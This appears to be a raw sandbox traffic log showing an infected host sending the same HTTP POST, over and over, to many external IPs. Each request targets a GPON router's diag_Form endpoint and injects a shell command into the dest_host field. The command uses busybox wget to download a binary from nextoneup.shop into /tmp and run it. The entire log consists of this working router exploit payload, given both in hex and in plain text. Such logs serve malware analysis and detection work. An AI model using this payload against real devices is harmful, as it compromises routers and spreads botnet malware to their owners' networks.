Apr 14, 2024 04:00:21.323508978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.23	56902	109.88.60.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323542118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.23	44068	2.161.97.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323544979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.23	53618	37.151.82.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323563099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.23	59054	37.158.167.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323635101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.23	56020	210.67.14.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323707104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.23	57584	210.174.238.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323724031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.23	38036	118.35.26.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323771954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.23	54150	37.11.250.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323816061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.23	58346	178.129.223.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323851109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.23	48848	109.125.50.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323887110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.23	43840	178.33.7.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323920012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.23	51112	2.206.217.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.323968887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.23	36082	5.232.189.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324023008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.23	38306	178.233.179.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324059010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.23	58456	123.211.200.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324095011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.23	44038	79.2.81.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324135065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.23	50268	210.114.197.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324206114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.23	47492	117.245.149.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324234009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.23	45646	79.172.78.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324275017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.23	37664	42.211.49.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324328899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.23	57330	118.66.135.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324356079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.23	51638	79.245.157.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324377060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.23	52642	212.8.202.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324439049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.23	60940	5.243.182.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324492931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.23	42412	178.18.230.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324542046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

